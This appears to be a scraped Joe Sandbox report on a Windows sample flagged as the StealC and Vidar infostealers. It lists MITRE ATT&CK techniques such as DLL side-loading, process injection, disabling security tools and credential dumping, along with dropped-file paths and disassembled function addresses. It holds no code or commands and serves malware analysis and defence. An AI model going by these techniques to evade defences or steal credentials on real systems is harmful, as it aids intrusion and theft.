Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFBAKECAEGCBFIEGDGIEGIEHD

C:\ProgramData\CBGCAFIIECBFIDHIJKFB

C:\ProgramData\ECGHJJEH

C:\ProgramData\GHJKECAAAFHJECAAAEBFCAEBFH

C:\ProgramData\HCBAKJEHDBGHIEBGCGDGHCAKEB

C:\ProgramData\IDAEHCFH

C:\ProgramData\IJDGCAEBFIIECAKFHIJE

C:\ProgramData\IJKFIIIJJKJJKEBGIDGCAEGCGD

C:\ProgramData\KECGHIJDGCBKECAAKKEC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00299860 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Function 002845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0028BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00294910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00299C10 Relevance: 229.9, APIs: 112, Strings: 19, Instructions: 684
libraryloaderCOMMON

Function 00287710 Relevance: 98.6, APIs: 54, Strings: 2, Instructions: 584
stringmemoryCOMMON

Function 00290250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00285100 Relevance: 53.1, APIs: 19, Strings: 11, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre